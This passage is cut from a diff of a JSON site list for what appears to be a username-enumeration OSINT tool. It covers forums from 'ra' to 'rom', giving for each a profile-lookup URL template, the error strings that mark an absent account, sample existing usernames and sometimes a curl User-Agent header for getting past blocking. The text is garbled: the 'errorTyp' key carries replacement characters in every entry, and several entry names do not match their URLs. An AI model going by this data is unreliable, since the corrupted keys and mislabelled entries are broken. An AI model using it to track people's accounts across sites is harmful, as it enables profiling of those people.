"errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ra4a.ru/index/8-0-{}", + "urlMain": "http://ra4a.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_rabbitdogs": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rabbitdogs.net/members/?username={}", + "urlMain": "https://www.rabbitdogs.net", + "usernameON": "bigk", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_racefans": { + "country": "🇬🇧", + "country_klas": "GB", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "You've crashed", + "errorMsg2": "One moment", + "errorTyp��": "message", + "url": "https://www.racefans.net/members/{}/", + "urlMain": "https://www.racefans.net", + "usernameON": "douglaswebster", + "bad_site": "" + }, + "Forum_racer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://racer.do.am/index/8-0-{}", + "urlMain": "https://racer.do.am", + "usernameON": "Jessika", + "bad_site": "" + }, + "Forum_racketboy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.racketboy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.racketboy.com", + "usernameON": "Limewater", + "bad_site": "" + }, + "Forum_radio1": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.radiodom.org/index/8-0-{}", + "urlMain": "http://www.radiodom.org", + "usernameON": "Andrew", + "bad_site": "" + }, + "Forum_radiotehnik72": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://radiotehnik72.ucoz.ru/index/8-0-{}", + "urlMain": "https://radiotehnik72.ucoz.ru", + "usernameON": "akhmalik72", + "bad_site": "" + }, + "Forum_rainbowhappy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://rainbowhappy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rainbowhappy.ucoz.ru", + "usernameON": "FrankMate", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rainmeter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rainmeter.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.rainmeter.net", + "usernameON": "Jeff", + "bad_site": "" + }, + "Forum_rakesh-jhunjhunwala": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rakesh-jhunjhunwala.in/forum/members/?username={}", + "urlMain": "https://rakesh-jhunjhunwala.in", + "usernameON": "arjun", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_raks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://raks.com.ua/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://raks.com.ua", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_rakursy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rakursy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rakursy.ucoz.ru", + "usernameON": "Schoroch", + "bad_site": "" + }, + "Forum_rakwireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rakwireless.com/u/{}/summary", + "urlMain": "https://forum.rakwireless.com", + "usernameON": "hobo", + "bad_site": "" + }, + "Forum_ram1500diesel": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ram1500diesel.com/members/?username={}", + "urlMain": "https://www.ram1500diesel.com", + "usernameON": "kazimodo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ramenskoe1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ramenskoe1.ucoz.ru/index/8-0-{}", + "urlMain": "https://ramenskoe1.ucoz.ru", + "usernameON": "gorodisskyru", + "bad_site": "" + }, + "Forum_ranobes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Just a moment", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.ranobes.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.ranobes.com", + "comments": "cf", + "usernameON": "Jaeri", + "bad_site": "" + }, + "Forum_rarib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "DDOS-GUARD</title", + "errorMsg2": "Информация", + "errorMsg3": "технические работы", + "errorTyp��": "message", + "url": "https://forum.rarib.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Поиск", + "urlMain": "https://forum.rarib.ag", + "usernameON": "kokky", + "bad_site": "" + }, + "Forum_rasmircoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rasmircoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://rasmircoins.ucoz.ru/", + "usernameON": "Faghouri", + "bad_site": "" + }, + "Forum_raspberrypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://forums.raspberrypi.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.raspberrypi.com", + "usernameON": "adam", + "comments": "cf", + "ignore_status_code": true, + "bad_site": "" + }, + "Forum_ratsun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ratsun.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ratsun.net", + "usernameON": "datzenmike", + "bad_site": "" + }, + "Forum_ravnovesie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ravnovesie.ucoz.net/index/8-0-{}", + "urlMain": "https://ravnovesie.ucoz.net", + "usernameON": "Светлана", + "bad_site": "" + }, + "Forum_ray": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://discuss.ray.io/u/{}/summary", + "urlMain": "https://discuss.ray.io", + "usernameON": "Lacruche", + "bad_site": "" + }, + "Forum_rayven": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rayven.at.ua/index/8-0-{}", + "urlMain": "https://rayven.at.ua/", + "usernameON": "rayven", + "bad_site": "" + }, + "Forum_raznoe-vse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://raznoe-vse.ucoz.ru/index/8-0-{}", + "urlMain": "https://raznoe-vse.ucoz.ru", + "usernameON": "egorsmirnowv", + "bad_site": "" + }, + "Forum_razrab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://razrab.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://razrab.ru", + "usernameON": "ibev", + "bad_site": "" + }, + "Forum_razvilka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rbk-portal.3dn.ru/index/8-0-{}", + "urlMain": "https://rbk-portal.3dn.ru", + "usernameON": "BeLoNe", + "bad_site": "" + }, + "Forum_rclone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rclone.org/u/{}", + "urlMain": "https://forum.rclone.org", + "usernameON": "Alexander_Andriishin", + "bad_site": "" + }, + "Forum_rcuniverse": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rcuniverse.com/forum/members/{}.html", + "urlMain": "https://www.rcuniverse.com", + "usernameON": "yuriy19", + "bad_site": "" + }, + "Forum_rdr2": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.rdr2.org/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rdr2.org", + "usernameON": "Parzival", + "bad_site": "" + }, + "Forum_rdw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://rdw.ucoz.ru/index/8-0-{}", + "urlMain": "https://rdw.ucoz.ru", + "usernameON": "jabbarhuusaincs", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_real-sp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://real-sp.ucoz.com/index/8-0-{}", + "urlMain": "https://real-sp.ucoz.com", + "usernameON": "Yuriysap", + "bad_site": "" + }, + "Forum_realistzoosafety": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "banned", + "errorTyp��": "message", + "url": "https://forum.realsurf.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.realsurf.com", + "usernameON": "admin", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_rebkell": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://boards.rebkell.net/profile.php?mode=viewprofile&u={}", + "urlMain": "https://boards.rebkell.net", + "usernameON": "rebkell", + "bad_site": "" + }, + "Forum_rebornbuddy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://rebornbuddy.com/xf/members/?username={}", + "urlMain": "https://rebornbuddy.com/", + "usernameON": "tony", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_recoveryRU": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://region13.ucoz.ru/index/8-0-{}", + "urlMain": "https://region13.ucoz.ru", + "usernameON": "VVS15081", + "bad_site": "" + }, + "Forum_reiki-healing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://reiki-healing-l.org/index/8-0-{}", + "urlMain": "http://reiki-healing-l.org", + "usernameON": "YaIrina1993", + "bad_site": "" + }, + "Forum_reklama-kiev": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://reklama-kiev.at.ua/index/8-0-{}", + "urlMain": "https://reklama-kiev.at.ua", + "usernameON": "dsgvolia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_relationlibre": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://relationlibre.com/participant/{}/", + "urlMain": "https://relationlibre.com", + "usernameON": "laeti", + "bad_site": "" + }, + "Forum_relax-kei": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://relax-kei.ucoz.ru/index/8-0-{}", + "urlMain": "https://relax-kei.ucoz.ru", + "usernameON": "ztaletnted", + "bad_site": "" + }, + "Forum_religion": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun membre trouvé pour ce critère de recherche", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum-religion.org/memberlist.php?username={}", + "urlMain": "https://forum-religion.org", + "usernameON": "Georges86", + "bad_site": "" + }, + "Forum_religion_s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://religion.ucoz.ru/index/8-0-{}", + "urlMain": "https://religion.ucoz.ru", + "usernameON": "ArthurHip", + "bad_site": "" + }, + "Forum_rem-tv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rem-tv.at.ua/index/8-0-{}", + "urlMain": "https://rem-tv.at.ua", + "usernameON": "fanttom", + "bad_site": "" + }, + "Forum_remont-lipetsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remont-lipetsk.3dn.ru/index/8-0-{}", + "urlMain": "https://remont-lipetsk.3dn.ru", + "usernameON": "mattmabwerce", + "bad_site": "" + }, + "Forum_remsanteh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://remsanteh.borda.ru/?32-{}", + "urlMain": "https://remsanteh.borda.ru", + "usernameON": "aleyusha", + "bad_site": "" + }, + "Forum_remzona-ekb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remzona-ekb.ucoz.ru/index/8-0-{}", + "urlMain": "https://remzona-ekb.ucoz.ru", + "usernameON": "REMZONA", + "bad_site": "" + }, + "Forum_render_otoy": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Sorry, ", + "errorMsg3": "banned from this board", + "errorTyp��": "message", + "url": "https://render.otoy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://render.otoy.com/", + "usernameON": "grazieromi", + "bad_site": "" + }, + "Forum_repolitics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://repolitics.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://repolitics.com", + "usernameON": "Zeitgeist", + "bad_site": "" + }, + "Forum_reptile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не выбран", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.reptile.ru/forum/member.php?action=viewpro&member={}", + "urlMain": "https://www.reptile.ru", + "usernameON": "Zoofond", + "bad_site": "" + }, + "Forum_reptileforums": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.reptileforums.co.uk/members/?username={}", + "urlMain": "https://www.reptileforums.co.uk", + "usernameON": "malc", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_res-publica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://res-publica.ucoz.org/index/8-0-{}", + "urlMain": "https://res-publica.ucoz.org", + "usernameON": "PUBLIUS", + "bad_site": "" + }, + "Forum_reseau-js": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "0 résultat", + "errorMsg2": "Veuillez patienter", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.reseau-js.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.reseau-js.com", + "usernameON": "loup", + "bad_site": "" + }, + "Forum_reseau-naturiste": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.reseau-naturiste.org/user/{}", + "urlMain": "https://www.reseau-naturiste.org/", + "usernameON": "Sephora", + "bad_site": "" + }, + "Forum_respecta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.respecta.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.respecta.net/", + "usernameON": "NBN93", + "comments": "vzlom", + "bad_site": 1 + }, + "Forum_resto_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://resto.clan.su/index/8-0-{}", + "urlMain": "https://resto.clan.su", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_retrievertraining": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.retrievertraining.net/members/?username={}", + "urlMain": "https://www.retrievertraining.net", + "usernameON": "johndbarrow", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rewar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rewar.me/index/8-0-{}", + "urlMain": "https://rewar.me/", + "usernameON": "mashery", + "bad_site": "" + }, + "Forum_rexmill": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rexmill.ucoz.ru/index/8-0-{}", + "urlMain": "https://rexmill.ucoz.ru/", + "usernameON": "mun686", + "bad_site": "" + }, + "Forum_rezzoclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.rezzoclub.ru/index/8-0-{}", + "urlMain": "http://www.rezzoclub.ru", + "usernameON": "Rapidrezzo", + "bad_site": "" + }, + "Forum_rg_myqip": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rg.myqip.ru/?32-{}", + "urlMain": "https://rg.myqip.ru", + "usernameON": "marii", + "bad_site": "" + }, + "Forum_rhytmic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rhytmic.borda.ru/?32-{}", + "urlMain": "https://rhytmic.borda.ru", + "usernameON": "mammy", + "bad_site": "" + }, + "Forum_ribalka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ribalka.ucoz.org/index/8-0-{}", + "urlMain": "http://ribalka.ucoz.org", + "usernameON": "Андрей0508", + "bad_site": "" + }, + "Forum_richelieu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rieltori.narod2.ru/index/8-0-{}", + "urlMain": "http://rieltori.narod2.ru", + "usernameON": "natayovzhik", + "bad_site": "" + }, + "Forum_riga-luna": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://riga-luna.ucoz.ru/index/8-0-{}", + "urlMain": "https://riga-luna.ucoz.ru", + "usernameON": "Talahassy", + "bad_site": "" + }, + "Forum_rima-pendzhieva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rima-pendzhieva.ucoz.ru/index/8-0-{}", + "urlMain": "https://rima-pendzhieva.ucoz.ru", + "usernameON": "morozov2112", + "bad_site": "" + }, + "Forum_rio4": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rio4.ucoz.ru/index/8-0-{}", + "urlMain": "https://rio4.ucoz.ru/", + "usernameON": "Fakskaxip", + "bad_site": "" + }, + "Forum_rivianowners": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rivianownersforum.com/members/?username={}", + "urlMain": "https://www.rivianownersforum.com", + "usernameON": "swampnut", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rkls76": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rkls76.ucoz.ru/index/8-0-{}", + "urlMain": "https://rkls76.ucoz.ru", + "usernameON": "JosephBon", + "bad_site": "" + }, + "Forum_rks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует ", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "https://forum.rks.kr.ua/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.rks.kr.ua", + "usernameON": "Mistika24", + "bad_site": "" + }, + "Forum_rllmukforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "0 results", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rllmukforum.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.rllmukforum.com", + "usernameON": "yakumo", + "bad_site": "" + }, + "Forum_rmmedia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Указанный пользователь не найден. Пожалуйста, введите другое имя.", + "errorMsg2": "<title>Полезные пользователи | Rmmedia.ru", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://rmmedia.ru/members/?username={}", + "urlMain": "https://rmmedia.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_rmrp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rmrp.ru/members/?username={}", + "urlMain": "https://forum.rmrp.ru", + "usernameON": "alqoile", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadbikereview": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.roadbikereview.com/members/?username={}", + "urlMain": "https://www.roadbikereview.com", + "usernameON": "finx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadcontrol_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "page_pageNotFound", + "errorTyp��": "message", + "url": "https://roadcontrol.org/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://roadcontrol.org", + "usernameON": "%D0%90ndrew", + "bad_site": "" + }, + "Forum_rock-metalwave": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rock-metal-wave.ru/index/8-0-{}", + "urlMain": "https://rock-metal-wave.ru", + "usernameON": "0919swdsnb", + "bad_site": "" + }, + "Forum_rodgers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://rodgersforum.borda.ru/?32-{}", + "urlMain": "https://rodgersforum.borda.ru", + "usernameON": "hata1979", + "bad_site": "" + }, + "Forum_rodniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rodniki.do.am/index/8-0-{}", + "urlMain": "http://rodniki.do.am", + "usernameON": "N278", + "bad_site": "" + }, + "Forum_rodnovira": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rodnovira.ucoz.ru/index/8-0-{}", + "urlMain": "https://rodnovira.ucoz.ru", + "usernameON": "vioooila", + "bad_site": "" + }, + "Forum_rodoslav": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "http://www.rohitab.com/discuss/index.php?app=core&module=search&do=search&andor_type=&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0", + "urlMain": "http://www.rohitab.com", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Forum_rokslide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rokslide.com/forums/members/?username={}", + "urlMain": "https://rokslide.com", + "usernameON": "ukisan", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rollerclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorMsg3": "Срок регистрации домена истек", + "errorTyp��": "message", + "url": "http://forum.rollerclub.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.rollerclub.ru", + "usernameON": "snb", + "bad_site": "" + }, + "Forum_Rollitup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.rollitup.org/members/?username={}", + "urlMain": "https://www.rollitup.org", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_romhacking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://romhacking.ru/index/8-0-{}", + "urlMain": "https://romhacking.ru", + "usernameON": "debbietk1", + "bad_site": "" + }, + "Forum_romkaq": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://romkaq.ucoz.ru/index/8-0-{}", + "urlMain": 